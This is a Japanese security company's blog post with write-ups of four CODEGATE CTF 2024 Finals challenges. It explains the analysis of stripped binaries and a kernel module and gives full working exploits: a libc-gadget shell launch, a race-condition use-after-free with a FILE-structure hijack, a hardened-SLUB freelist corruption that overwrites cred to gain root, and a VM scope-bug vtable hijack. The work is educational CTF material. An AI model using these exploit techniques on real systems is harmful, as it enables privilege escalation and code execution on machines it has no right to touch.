著者:ptr-yudai
はじめに
今回のブログ記事では、今年の8月29日と30日に開催されたCODEGATE CTF 2024 Finalsで取り組んだ問題の解説を公開します。 CODEGATEは韓国で最も大きいサイバーセキュリティイベントの1つで、カンファレンスの他にCTFの決勝大会も平行して開催されます。今年の決勝大会にはチームBunkyoWesternsのメンバーとして弊社からarata、ptr-yudaiの2名が出場しました。1チーム4人までで、我々の他にはchocoruskさんとst98さんが参加してくださいました。
例年どおりソウルのCOEX MALLで開催されたCODEGATE CTF |
厳しい予選大会を突破した世界20チームのうち、我々BunkyoWesternsは7位の成績を収めました。私はpwn(Binary Exploitation)担当として予選・本戦とも参加しました。 CODEGATEのpwnは例年バイナリのみの配布で、exploitよりも解析パートがメインの問題が多い傾向があります。24時間ずっと会場で取り組み続ける必要があるため、忍耐力が要求されるCTFの1つです。
本大会で私はMisc問題1つとPwn問題3つのフラグを通したので、それらの問題概要と解き方について解説していきます。
[misc] super jumper
問題概要
Miscに分類されていましたが、x86-64の問題だったため担当しました。 このプログラムでは、まず任意のELFファイルをある程度自由なファイル名で一時フォルダに作成し、起動することができます。
IDAでデコンパイルして変数名をつけたコード |
ただし、作成したプログラムはptrace
によって停止状態で起動し、そのメモリマップが表示されます。さらに、親プロセス側からどのアドレスを開始位置として実行するかを指定できます。
したがって、任意のコードを実行できそうに見えますが次のチェックがあります。
メモリマップを確認するコード |
メモリマップのファイル名に”tmp”という文字が含まれている場合は”Invalid address”と表示して実行してくれません。つまり、自由なELFプログラムを起動して、ヒープやスタック等の領域をエントリポイントとして実行できる、という問題設定です。
想定解
私はこの問題を運営の想定解とは異なる方法で解いていたのですが、想定解についても簡単に説明しておきます。
想定解では、ファイル名を自由に決められるという問題設定を利用します。ファイル名は一般的にargv[0]
としてプログラムに渡されるので、スタック上に存在します。つまり、スタックが実行可能な(NXが無効な)ELFファイルを作り、ファイル名をシェルコードにしておくことで、スタックの適当な位置を実行するとシェルコードが動きます。
非想定解
libcやld中の機械語に飛ばすことはできるため、今回はlibcのgadgetを使って実行ファイル本体にリダイレクトさせる方針にしました。
0x1a44ed: lea edx, [0x00000000001A4900] ; add rdx, r8 ; jmp rdx ; (1 found)
このgadgetを使うと、0x1a4900 + r8にジャンプしてくれます。r8レジスタの値は固定だったため、このジャンプ先に機械語がロードされるように実行ファイルをビルドすれば良いです。
section .text
global _start
_start:
times 0x1000 nop
xor edx, edx
push rdx
lea rdi, [rel arg2]
push rdi
lea rdi, [rel arg1]
push rdi
lea rdi, [rel arg0]
push rdi
mov rsi, rsp
mov eax, 59
syscall
mov eax, 60
syscall
section .data
arg0: db "/bin/sh", 0
arg1: db "-c", 0
arg2: db "cat /flag", 0
from ptrlib import *
# 0x1a44ed: lea edx, [0x00000000001A4900] ; add rdx, r8 ; jmp rdx ; (1 found)
if os.system("nasm pwn.S -fELF64") != 0: exit(1)
if os.system("ld pwn.o -o pwn -Ttext 0xae417000 -lc -dynamic-linker /usr/lib/x86_64-linux-gnu/libc.so.6") != 0: exit(1)
elf = open("pwn", "rb").read()
sock = Socket("localhost", 9000)
sock.sendlineafter("filesize > ", len(elf))
sock.sendafter("elf > ", elf)
sock.sendlineafter("elfname > ", "neko")
libc_base = int(sock.recvregex("([0-9a-f]+).+libc.so.6")[0], 16)
sock.sendlineafter("? ", hex(libc_base + 0x1a44ed))
sock.sh()
ほとんどのチームが解けた簡単な問題ですが、意外と時間をかけてしまいました。このような恣意的な設定の問題が苦手なところもあるので、もっと早く解けるように頭を柔らかくしていきたいです。
[pwn] Flight
問題概要
この問題ではx86-64でstripされたELFファイルが渡されます。IDAで解析すると、プログラムはC++製であり、主に9つの機能を持つプログラムであることがわかります。
プログラムが起動すると、データ構造を管理するサブスレッドとコマンドを受け付けるメインスレッドの2つに分岐します。いくつかのコマンドは共有メモリを介してサブスレッドにコマンドを実行させます。
解析
プログラムは入力された4バイトの数値をもとに、switch文で9つの機能に分岐するという構造でした。そこで、まずは各機能が何をするかを解析しました。この問題のようにすべてのシンボルが削除されており構造も複雑なプログラムでは、私は意味を無視して表層的に入出力だけを処理するコードから書き始めるようにしています。
いくつかのコマンドはread
で入力を受け付けていたため、その部分だけ送信するコードを書きました。
初めは何の機能が実装されているかまったくわからない |
動的解析と組み合わせて読み進めると、辞書(map)と思われる構造を使ってデータを管理していることがわかりました。送信したデータのいくつかは検証されていたため、辞書構造の操作からそれらの値の意味を考えると、各機能の役割が少しずつ明らかになりました。
解析が少し進んだ後のwrapperコード |
例えば、3つめの機能には以下のようなコードがあります。
メインスレッド側の3つめの機能のコードの一部 |
このコードは入力した値に応じて次の入力構造が変化するため、最初の入力は型情報であると推測できます。このような具合に変数の役割を次々に特定していきます。また、同時にプログラムの動作に関しても、共有メモリを経由してデータを送信・同期している、といった挙動も明らかになっていきました。
最終的に、以下のような9つの機能(と終了コマンド)が実装されていることがわかりました。
最終的なwrapperのコード |
各機能を簡潔に説明すると、以下のようになります。
add
: メインスレッドの辞書に空のValueを1つ登録する。delete
: メインスレッドの辞書から特定のキーのValueを削除する。remote_add
: メインスレッドの辞書に登録されているValueすべてに、型情報とデータ本体を与えながらサブスレッドに送信する。サブスレッド側では辞書に追加される。showall
: メインスレッドの辞書に登録されているValueをすべて表示するremote_show
: サブスレッドの辞書に登録されているValueを1つ表示するnop
: 何もしない。remote_setmsg
: サブスレッドの辞書に登録されている特定のValueにバイト列を紐付ける。
Valueは1つのデータ領域を持ち、共有メモリを使うかどうかを指定できます。 各機能はメインスレッド側からリクエストを発出できます。リクエストは最大10個までが入る配列に記録され、サブスレッド側で適宜処理されます。
サブスレッド側でのコマンド処理 |
脆弱性
アドレスリークは比較的簡単です。
remote_add
などでデータを設定する際、データ領域をmalloc
で確保しているにも関わらずread
関数の戻り値が0以下であるかのみを確認しているため、未初期化の領域が残っている可能性があります。適当なチャンクをsmallbinにつなげて、そこからmalloc
することでmain_arena
中のアドレスを読むことができます。
では、メモリ破壊につながる脆弱性はあるでしょうか。
今回のプログラムはマルチスレッドであるという点と、共有メモリを使う特徴的な機能があるという点が怪しいので、そのあたりを重点的に読むことにしました。次のコードはremote_add
で共有メモリを使うValueを送信する際のコードの一部です。
共有メモリを使う機能のコードの一部 |
ここで、共有バッファは参照カウンタを使って実装されています。(すべてのシンボルがstripされているので実際には各関数の処理も追う必要がありました。)しかし、この処理周辺には何のロック処理もありません。 処理リクエストを発出するのはメインスレッド単体のため、順番にリクエストが処理されればこれは何の問題もないように思えます。 しかし、サブスレッド側はリクエストの配列を順にチェックし続けるだけなので、メインスレッドが作ったリクエストは必ずしも順番どおりに処理されるとは限りません。
したがって、共有バッファを作ってから参照カウンタがインクリメントされるまでの間に削除要求を出すことで、共有バッファの構造体に対するUse-after-Freeが発生します。この構造体はデータ実体へのポインタを持っているため、任意アドレス書き込みが実現します。
例えば以下の図では5個の共有バッファの登録と、それらの削除のリクエストをほぼ同時に送信しています。
Race Conditionが発生する例 |
サブスレッドがリクエストを1回目に処理するタイミングでは3つしか登録されていませんが、2回目に処理するタイミングでは残りの2つとすべての削除要求が到達しています。これにより、参照カウンタが増加するよりも先に削除が発生するため、Use-after-Freeが起こります。
成功確率を上げるため、実際には同じIDに対する削除リクエストを10回ずつ送信しました。
from ptrlib import *
import time
def add():
sock.send(p32(0))
def delete(index):
sock.send(p32(1))
sock.send(p64(index))
def remote_add(data):
assert 0 <= len(data) <= 9
sock.send(p32(2))
sock.send(p32(len(data)))
for element in data:
sock.send(p64(element[0]) + p64(element[1])) # type, index
if element[0] == 0:
buf = element[2]
size = element[3]
sock.send(p32(size))
sock.send(buf)
def showall():
sock.send(p32(3))
def remote_showall():
sock.send(p32(4)) # 0xD3260001
def show(index):
sock.send(p32(5))
sock.send(p64(index))
def remote_show(index):
sock.send(p32(6)) # 0xD3260002
sock.send(p64(index))
def nop():
sock.send(p32(7))
def remote_setmsg(index, data, size):
sock.send(p32(8)) # 0xD3260003
sock.send(p64(index))
sock.send(p32(size))
sock.send(data)
def terminate():
sock.send(p32(9))
libc = ELF("libc.so.6")
#sock = Process("./Challenge")
sock = Socket("localhost", 9000)
sock.recvline()
# Leak libc
for _ in range(10):
add()
remote_add([(1, 0)])
sock.recvline()
remote_add([(0, 0, b"A"*0x428, 0x428)])
sock.recvline()
remote_add([(0, 0, b"B"*0x18, 0x18)])
sock.recvline()
remote_add([(0, 0, b"A"*8, 0x3f8)])
sock.recvline()
show(0)
libc.base = u64(sock.recvlineafter("AAAAAAAA")) - libc.main_arena() - 0x450
# Race condition
remote_add([
(1, i) for i in range(1, 10)
])
for _ in range(10):
for i in range(1, 10):
delete(i)
for _ in range(9):
sock.recvline()
remote_setmsg(0, b"Y"*8 + b"X"*8 + p64(libc.base), 0x20)
sock.recvline()
payload = p32(0xfbad0101) + b";sh\0" # fp->_flags & _IO_UNBUFFERED == 0)
payload += b"\x00" * (0x18 - len(payload))
payload += p64(libc.symbol('_IO_2_1_stdout_'))
payload += b"\x00" * (0x58 - len(payload))
payload += p64(libc.symbol("system")) # vtable->iowalloc
payload += b"\x00" * (0x88 - len(payload))
payload += p64(libc.symbol("_IO_2_1_stdout_") - 0x10) # _wide_data (1)
payload += b"\x00" * (0xa0 - len(payload))
payload += p64(libc.symbol("_IO_2_1_stdout_") - 0x10) # _wide_data (1)
payload += b"\x00" * (0xc0 - len(payload))
payload += p32(0) # fp->_mode == 0
payload += b"\x00" * (0xd0 - len(payload))
payload += p64(libc.symbol("_IO_2_1_stdout_") - 0x10) # (1) _wide_data->vtable
payload += p64(libc.symbol("_IO_wfile_jumps") + 0x18 - 0x38) # _IO_wfile_jumps +
remote_setmsg(8, payload, 0xe0)
sock.recvline()
sock.sh()
この問題はpwnの中では最も解かれており、最終的には半数弱のチームが解いていたと思います。難しかったですが、多くのチームが解いている問題を落とさず解けて安心しました。
[pwn] tiny_msg
問題概要
この問題ではx86-64のカーネルイメージとファイルシステム、そしてqemuの起動コマンドが渡されます。
典型的なカーネルexploit問で、tiny_msg.ko
という名前のカーネルモジュールがロードされているので、このモジュールの脆弱性を悪用して権限昇格する必要があります。
解析
モジュールはいたって単純で、ioctl経由でcreate, read, write, deleteの4つの操作をユーザー空間から依頼できます。
create
: サイズ0x200の領域をヒープから確保し、ユーザー空間からデータをコピーして双方向リストに繋げるread
: 指定したIDのデータをリストから探し、ユーザー空間にデータをコピーするwrite
: 指定したIDのデータをリストから探し、ユーザー空間からデータをコピーするdelete
: 指定したIDのデータをリストから探し、解放してunlinkする
サイズ0x200の領域は次のような構造体として扱われます。
__attribute__((packed))
struct {
note_t *next;
note_t *prev;
uint16_t id;
uint8_t data[];
} tiny_msg_t;
data
には最大0x1e8バイトを読み書きすることができます。
今回の問題で特徴的なのは、kmalloc
ではなくkmem_cache_alloc
を使って専用のkmem_cache
から確保しているという点です。
このキャッシュはカーネルモジュールがロードされたときにmsg_cache
という名前で作られます。さらに、他のキャッシュとマージされないようにslab_nomerge
が起動オプションに付加されています。
脆弱性
モジュール自体がシンプルなので、この問題では脆弱性はすぐ見つかりました。以下はcreateでメッセージ構造体を登録する部分のデコンパイル結果になります。
メッセージを新規作成するioctlの処理 |
52行目はcopy_from_user
でデータのコピーが失敗した際に通るパスですが、このパスを通るとkmem_cache_free
が呼ばれて終了します。しかし、双方向リストには繋がったままであるため、後にread, write, delete操作を使うことができそうです。
したがって、Use-after-Free脆弱性があります。
解法
この問題で難しいのは完全な専用キャッシュが使われており、他の構造体とoverlapすることがないという点です。カーネルexploitを普段やっている人であればまずcross-cache attackを思いつくかもしれませんが、今回のモジュールには実は次のチェックがあります。
メッセージの個数チェック |
なんと0x200個以上のメッセージ構造体を作ることができません。
sysfsをマウントして確認したところ、今回のカーネルではmsg_cache
は1つのslabに16個入り、かつpartialの個数が52個になっていました。したがって、少なく見積もっても0x340個より多くの構造体が確保できない限りcross-cache attackは実現不能です。
そこで今回は、解放されたチャンクに記載されるfreeptrを破壊することにしました。といっても決勝の問題はそこまで甘くはなく、CONFIG_SLUB_FREELIST_HARDENED
が有効なのでポインタはキャッシュごとに設定された乱数鍵を使って暗号化されています。
これでは攻撃できないでしょうか?
あるチャンクpがfreeされたとき(正確にはfreeptrが記載されるアドレスを$p$とする)、リンク先のアドレス$p_{\mathrm{next}}$を使ってfreeptrは以下の式で暗号化されます。
$E(p_{\mathrm{next}}) = p_{\mathrm{next}} \oplus \mathrm{key} \oplus \mathrm{bswap}(p)$
ここでbswapはエンディアンを逆順にする関数で、一般に$p$と$p_{\mathrm{next}}$は近い値を取るためXORで打ち消されないようにbswap処理が使われています。
さて、今回は$p, p_{\mathrm{next}}, \mathrm{key}$のいずれもわかりませんが、その結果だけは読み書き可能な状態にあります。もし結果の下位1バイトに0x80をXORした値を書き込むとどうなるでしょうか。ポインタを復号する際、
$E^{-1}(p_{\mathrm{next}} \oplus \mathrm{key} \oplus \mathrm{bswap}(p) \oplus \mathrm{0x80}) = p_{\mathrm{next}} \oplus \mathrm{0x80}$
となり、freeptrをずらすことができます。 特に今回はチャンクサイズが0x200のため、$p_{\mathrm{next}}$の下位1バイトはかならず0x00です。したがって、暗号化されたポインタに0x80をXORすることで、必ず0x80バイト高いアドレスにfreeptrをずらすことができます。
この壊れたfreeptrが使われると、そのチャンクは隣接したチャンクに重なります。構造体の先頭にはnext
, prev
ポインタがあるので、これを破壊することで任意アドレス読み書きが実現できそうです。
next
ポインタを改ざんすると(IDに該当する箇所のデータが予測できる限り)任意のアドレスのデータを読めますが、リンクが壊れてしまいます。新しく作った構造体はリンクの先頭に追加されるため、このままでは任意アドレス読み書きを1度しか使えません。
そこで、今回はnext
ポインタ破壊用のデータもfailのパスに通してUAFさせることにより、何度でも任意アドレス読み書きを実現できるようにしました。
私のexploitの方針としては、IDTからカーネルのベースアドレスをリークし、自身のtask_struct
を見つけてcred
構造体を書き換えています。
#define _GNU_SOURCE
#include <assert.h>
#include <fcntl.h>
#include <errno.h>
#include <inttypes.h>
#include <limits.h>
#include <pthread.h>
#include <signal.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <poll.h>
#include <stdnoreturn.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/timerfd.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/resource.h>
#include <sys/xattr.h>
#include "scripts/util.h"
#include "scripts/cred.h"
#include "scripts/io_uring.h"
#define MSG_CREATE 0x1310002
#define MSG_READ 0x1310003
#define MSG_WRITE 0x1310004
#define MSG_DELETE 0x1310005
typedef struct __attribute__((packed)) {
unsigned long id;
unsigned long size;
unsigned char data[];
} req_t;
void set_cpu(int i)
{
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(i, &mask);
sched_setaffinity(0, sizeof(mask), &mask);
}
int create_msg(int fd, unsigned short id, unsigned char *data, size_t size) {
int res;
req_t *req = (req_t*)malloc(sizeof(req_t) + size);
if (!req) fatal("create_msg: malloc");
req->id = id;
req->size = size;
memcpy(req->data, data, size);
res = ioctl(fd, MSG_CREATE, req);
free(req);
return res;
}
int create_msg_fail(int fd, unsigned short id,
unsigned char *data, size_t size) {
void *mem = mmap((void*)0xdead000, 0x1000, PROT_READ|PROT_WRITE,
MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
if (mem == MAP_FAILED) fatal("mmap");
int res;
req_t *req = mem + 0x1000 - sizeof(req_t) - size;
req->id = id;
req->size = 0x1E8;
if (size)
memcpy(req->data, data, size);
res = ioctl(fd, MSG_CREATE, req);
munmap(mem, 0x1000);
return res;
}
int read_msg(int fd, unsigned short id, unsigned char *data, size_t size) {
int res;
req_t *req = (req_t*)malloc(sizeof(req_t) + size);
if (!req) fatal("write_msg: malloc");
req->id = id;
req->size = size;
res = ioctl(fd, MSG_READ, req);
if (res == 0)
memcpy(data, req->data, size);
free(req);
return res;
}
int write_msg(int fd, unsigned short id, unsigned char *data, size_t size) {
int res;
req_t *req = (req_t*)malloc(sizeof(req_t) + size);
if (!req) fatal("write_msg: malloc");
req->id = id;
req->size = size;
memcpy(req->data, data, size);
res = ioctl(fd, MSG_WRITE, req);
free(req);
return res;
}
int delete_msg(int fd, unsigned short id) {
req_t req = { .id = id, .size = 0 };
return ioctl(fd, MSG_DELETE, &req);
}
#define SPRAY_BASE 0x10
#define SPRAY_N 0x10
#define EVIL_ID 0x100
int main(int argc, char **argv) {
set_cpu(0);
char base[0x200];
char buf[0x200];
memset(buf, 'A', 0x1E8);
int fd = open("/dev/msgdev0", O_RDWR);
if (fd == -1) fatal("/dev/msgdev0");
/* Set all UAF */
for (int i = SPRAY_BASE; i < SPRAY_BASE + SPRAY_N; i++) {
assert (create_msg(fd, i, buf, 0x1e8) == 0);
}
for (int i = SPRAY_BASE; i < SPRAY_BASE + SPRAY_N; i++) {
assert (delete_msg(fd, i) == 0);
create_msg_fail(fd, i, NULL, 0); // UAF
}
size_t leaks[SPRAY_N];
for (int i = SPRAY_BASE; i < SPRAY_BASE + SPRAY_N; i++) {
assert (read_msg(fd, i, base, 0x1E8) == 0);
leaks[i] = *(size_t*)(base + 6 + 0x100 - 0x18);
printf("[+] leak = 0x%016lx\n", leaks[i]);
}
/* Corrupt link */
*(size_t*)(base + 6 + 0x100 - 0x18) = leaks[SPRAY_BASE+SPRAY_N-1] ^ 0x180;
assert (write_msg(fd, SPRAY_BASE+SPRAY_N-1, base, 0x1e8) == 0);
// dummy chunk
memset(buf, 'B', 0x1E8);
assert (create_msg(fd, EVIL_ID-1, buf, 0x1E8) == 0);
/* Leak kernel base */
*(size_t*)(buf + 6 + 0x80 - 0x18) = 0xfffffe0000000008;
*(size_t*)(buf + 6 + 0x80 - 0x10) = 0xfffffe0000000008;
*(size_t*)(buf + 6 + 0x80 - 0x08) = 0xdead; // id
create_msg_fail(fd, EVIL_ID, buf, 0x180);
read_msg(fd, 0xffff, buf, 0x1E8);
size_t kbase = *(size_t*)(buf + 6 + 4) - 0xc08e02;
printf("[+] kbase = 0x%016lx\n", kbase);
/* Leak task_struct */
*(size_t*)(buf + 6 + 0x80 - 0x18) = kbase + 0x140add0;
*(size_t*)(buf + 6 + 0x80 - 0x10) = kbase + 0x140add0;
*(size_t*)(buf + 6 + 0x80 - 0x08) = 0xdead; // id
create_msg_fail(fd, EVIL_ID, buf, 0x180);
read_msg(fd, 0x0000, buf, 0x1E8);
size_t task = *(size_t*)(buf + 6 + 0x10) - 0x470;
printf("[+] task_struct = 0x%016lx\n", task);
/* Leak cred */
*(size_t*)(buf + 6 + 0x80 - 0x18) = task + 0x6f0;
*(size_t*)(buf + 6 + 0x80 - 0x10) = task + 0x6f0;
*(size_t*)(buf + 6 + 0x80 - 0x08) = 0xdead; // id
create_msg_fail(fd, EVIL_ID, buf, 0x180);
read_msg(fd, 0x0000, buf, 0x1E8);
size_t cred = *(size_t*)(buf + 6 + 0x10);
printf("[+] cred = 0x%016lx\n", cred);
/* Overwrite cred */
*(size_t*)(buf + 6 + 0x80 - 0x18) = cred - 0x20;
*(size_t*)(buf + 6 + 0x80 - 0x10) = cred - 0x20;
*(size_t*)(buf + 6 + 0x80 - 0x08) = 0xdead; // id
create_msg_fail(fd, EVIL_ID, buf, 0x180);
memset(buf, 0, 0x38);
*(size_t*)buf = 0x3;
write_msg(fd, 0x0000, buf, 0x38);
puts("[+] Win!");
system("cat /flag");
return 0;
}
カーネルの暗号化freelistを悪用する攻撃はCTFで扱うのも初めてだったので勉強になりました。 ちなみに、この問題は社内勉強会でも題材として使わせていただきました。弊社では社内で有志の勉強会を開いているので、決勝で出るような難しい問題も勉強できる機会が提供されています 🤗
[pwn] Acquiesce
問題概要
この問題ではx86-64のプログラムが、またしてもstripされた状態で配布されました。こちらもFlightと同じくC++製で、定義されている関数はFlightよりも圧倒的に多いです。 プログラムは何かの入力を受け付けますが、適当に入力してもよくわからない出力が出てくるだけです。
謎の出力 |
解析
IDAで読んでみると、main関数は素直な実装でした。
main関数 |
少し解析したところ、独自のVMクラスがあり、バイトコードを入力してVMの初期化、実行、破棄を何度でも行えるインタプリタであることがわかりました。 しかし、VMの命令を実行する部分は次のように非常に複雑です。
とてもではないが読みたくない形をしているCFG |
このような独自VMを解析する際、私は以下の3つを心がけています。
- PC(プログラムカウンタ)を特定する
- レジスタの構造を特定する
- メモリの構造を特定する
- 一般的な命令から順に特定する
PCの特定は比較的簡単です。多くのVMは命令コードを解釈するとswitch文で実装に分岐するため、switchで参照している変数から逆算するとPCが特定できます。今回のプログラムではsub_2C22
が命令コードを返しているようです。命令内でも使われていることを考えると、現在PCが指しているバイトを取ってくる命令と推測できます。(ここではVM::FetchByte
と名付けました。)
命令コードの比較箇所 |
この関数は以下のように定義されています。
VM::FetchByteの中身 |
this + 8の値をインクリメントしていることがわかります。したがって、ここがPCと考えて妥当でしょう。名前を付け直すと以下のようになります。
読みやすくなったVM::FetchByte |
PC以外にも、レジスタやメモリがクラスメンバ中のどこにあるかを知ることでmovやstore系の命令を探しやすくなります。シンプルなインタプリタの場合はIDAのデコンパイル結果からすぐにレジスタやメモリの構造がわかるのですが、今回のプログラムは非常に複雑で、一見するとどこにレジスタやメモリが定義されているのかわかりませんでした。
そこでCTF中は、一般的に定義されている命令を探し、そこを起点に解析することにしました。例えば算術・論理演算は解析の起点として役に立ちます。これらの演算はデコンパイル結果にそのまま現れることが多いので、命令コードを特定しやすいです。 今回のVMでもこの特徴を利用できます。以下の図はそれぞれ命令コード0x14, 0x15, 0x16に出現するコードの一部です。
いくつかの命令コードで似たコードが見つかった |
どれも構造が似通っていて、算出演算の部分のみが変わっていることがわかります。したがって、これらの命令はそれぞれADD, SUB, MULではないかと推測できます。
sub_5108
はPCから4バイトの値を取ってくる関数のため、これがレジスタのインデクスあるいはメモリのオフセットのような値を持っていると考えられます。このように、わかりやすい命令を起点にVMの構造を解析していくこともできます。
解析を進めると、このVMにおける値はInteger, String, Functionのいずれかの型を持つことがわかりました。
新しく値を生成する命令 |
値は任意に指定できる4バイトのIDと紐付きます。つまり、このVMはメモリやレジスタは持たず、すべての変数をIDで管理しています。 さて、Function型の値の作成は以下のようになっています。関数は命令の位置と引数のリストで定義されます。
関数型変数の作成 |
関数呼び出しは次のように定義されています。
call命令の実装 |
まず、変数のIDを受け取ってそれが関数型であることを検証しています。 次に、その関数の引数リストを走査し、このリストに記載されているIDの変数をコピーしています。 最後にPCをスタックにpushし、関数のアドレスにPCを変更します。
ここまでの解析で、このインタプリタに以下のような特徴があることがわかりました。
- 関数型を定義できる
- 関数は任意個数・任意型の引数を取る
- 関数はスコープを持つ
脆弱性
callとretの実装を詳しく見ていきましょう。擬似的なコードを書くと次のようになります。
case VM_CALL:
Value &func = vm->GetValueAt(vm->FetchDword());
if (func.type() != TYPE_FUNCTION) Terminate();
vm->args.emplace_back(func.getArgList());
vm->values.push_back({});
for (size_t i = 0; i < func.getArgSize(); i++) {
uint32_t id = func.getArgList().at(i);
Value &val = vm->GetValueAt(vm->FetchDword());
vm->values.back().emplace_back(std::make_pair(id, val)); // [1]
}
vm->stack.push_back(vm->pc);
vm->pc = func.getDestination();
break;
case VM_RET:
if (vm->stack.empty()) return 0;
auto& cur = vm->values.back().begin();
while (cur != vm->values.back().end()) {
if (vm->args.back().find(*cur) == vm->args.back().end()) {
Value &val = (*cur)->getValue();
if (val) val->destroy();
vm->values.back().erase(*cur);
} else {
cur = cur.next();
}
}
vm->values.pop();
vm->args.pop();
vm->pc = *vm->stack.back();
vm->stack.pop();
break;
ここで、[1]で新しいスコープに引数の変数を作っています。このコードは単純に指定したIDに値を設定しているだけです。もし引数リストのうち複数に同じIDを指定すると、同じIDの変数が同じスコープに入ることになります。 一方で、新しく変数を作る箇所では以下のように、同じIDの変数があった場合には先に削除する処理が入っています。
すでに定義されているIDの変数を上書きするコード |
したがって、関数呼び出しを使って同じスコープ内に複数の同一IDの変数を作ると、それを別の値で上書きした際に不整合が発生します。
スコープのバグ |
これを使ってValue型のクラスのUse-after-Freeが引き起こせるため、vtableを破壊することで任意の関数ポインタが呼び出せます。
私のexploitでは単純なcall chainを使ってsystem("/bin/sh")
を呼び出しました。
from ptrlib import *
labels = {}
funcs = {}
jmps = {}
code = b''
def new_int(index, value):
return b'\x10' + p8(0xa0) + p32(index) + p32(value)
def new_str(index, data, size=None):
if size is None:
return b'\x10' + p8(0xa1) + p32(index) + p32(len(data)) + data
else:
return b'\x10' + p8(0xa1) + p32(index) + p32(size) + data
def new_func(index, name, data):
if isinstance(name, int):
addr = name
else:
addr = 0
funcs[name] = len(code) + 6
if len(data):
return b'\x10' + p8(0xa2) + p32(index) + p32(addr) + p8(len(data)) \
+ flat(data, map=p32)
else:
return b'\x10' + p8(0xa2) + p32(index) + p32(addr) + p8(len(data))
def show(index):
return b'\x11' + p32(index)
def call(index, args):
if len(args):
return b'\x12' + p32(index) + flat(args, p32)
else:
return b'\x12' + p32(index)
def ret():
return b'\x13'
def add(i1, i2):
return b'\x14' + p32(i1) + p32(i2)
def sub(i1, i2):
return b'\x15' + p32(i1) + p32(i2)
def mul(i1, i2):
return b'\x16' + p32(i1) + p32(i2)
def div(i1, i2):
return b'\x17' + p32(i1) + p32(i2)
def mod(i1, i2):
return b'\x18' + p32(i1) + p32(i2)
def jmp(name):
jmps[name] = len(code) + 5
return b'\x19' + p32(0)
def jnz(name):
jmps[name] = len(code) + 5
return b'\x1A' + p32(0)
def jz(name):
jmps[name] = len(code) + 5
return b'\x1B' + p32(0)
def is_equal(i1, i2):
return b'\x1C' + p32(i1) + p32(i2)
def is_less(i1, i2):
return b'\x1D' + p32(i1) + p32(i2)
def nop():
return b'\x1E'
def hlt():
return b'\x00'
def label(name):
global labels
labels[name] = len(code)
def resolve(code):
for name in jmps:
src = jmps[name]
dst = labels[name]
code = code[:src - 4] + p32(dst - src) + code[src:]
for name in funcs:
src = funcs[name]
dst = labels[name]
code = code[:src] + p32(dst) + code[src+4:]
return code
libc = ELF("./libc.so.6")
sock = Socket("localhost", 3000)
sock.sendafter(">> ", ret())
leak = sock.recvonce(0x400)
libc.base = u64(leak[0x2d8:0x2e0]) - libc.symbol("sbrk") - 0xa4
canary = u64(leak[0x368:0x370])
stack = u64(leak[0x3d0:0x3d8]) - 0x150
logger.info("canary = " + hex(canary))
logger.info("stack = " + hex(stack))
""" Exploit """
code = b''
code += new_str(0, b"A"*0x10)
code += show(0)
code += new_func(1, "f", [0])
code += call(1, [0])
code += show(0)
code += ret()
label("f")
code += new_int(1, 0x1234)
code += new_func(2, "g", [0, 0])
code += call(2, [0, 1])
code += new_str(3, b"A"*0x10)
code += new_str(4, p64(stack) + p64(stack))
code += new_str(5, b"C"*0x10)
code += new_str(6, b"D"*0x10)
code += show(1)
code += ret()
label("g")
code += new_int(0, 0xcafe)
code += new_int(1, 0xdead)
code += ret()
code = resolve(code)
assert len(code) <= 0x400
# Prepare call chain (fake vtable)
# 0x0017b9b7: mov rax, [rdi+8]; call qword ptr [rax+0x48];
# 0x000a5678: mov rdi, [rax+8]; call qword ptr [rax];
code += b"X" * (0x3d0 - len(code) - 0x100 - 0x10)
code += p64(libc.symbol("system"))
code += p64(next(libc.find("/bin/sh")))
code += p64(libc.base + 0x0017b9b7) # 1
code += b"A" * 0x30
code += p64(libc.base + 0x000a5678)
sock.sendafter(">> ", code)
sock.recvonce(0x400)
sock.sh()
解説ではスコープのバグを簡潔に説明しましたが、実際には単純にIDをかぶせるだけではクラッシュしないため、バグに気づくのにとても時間がかかってしまいました。また、Flightも同じでしたが、複雑なプログラムでRaceやUAFを起こした後にRCEにつなげるのは結構骨の折れる作業なので、体力が削られました。
スコアボードは現在見られませんが、FlightとAcquiesceは4,5 solvesだったと思います。この問題は睡眠不足で疲労していたこともあり一番時間を取られてしまいました。しかし、結果として解かないと上位には入れない程度のsolve数だったので、CODEGATEのレベルの高さを改めて実感しました。
おわりに
今回解説した問題以外にも暗号問の1つがpwnを交えたfault attackだったため手助けしていました。
CODEGATE CTFの決勝には2年前も参加しましたが、当時よりも1つ1つの問題が難しくなっていると感じました。CODEGATEのpwn問に関してはプログラムの規模が大きくなり、脆弱性を見つけるのがより難しくなっている印象です。
特に難しいCTFでは最先端の攻撃技術を問う問題が多く出題されるので、最新技術にキャッチアップする目的でも、今後もCTFに楽しく参加していければと思います。
CODEGATEで一緒に戦ってくれたチームの皆さん、ありがとうございました!
これからもリチェルカセキュリティでは、社員・アルバイトの方の自己研鑽のための諸経費を支援する予定です。新しい仲間も募集しているので、興味のある方はぜひお気軽にお問い合わせください。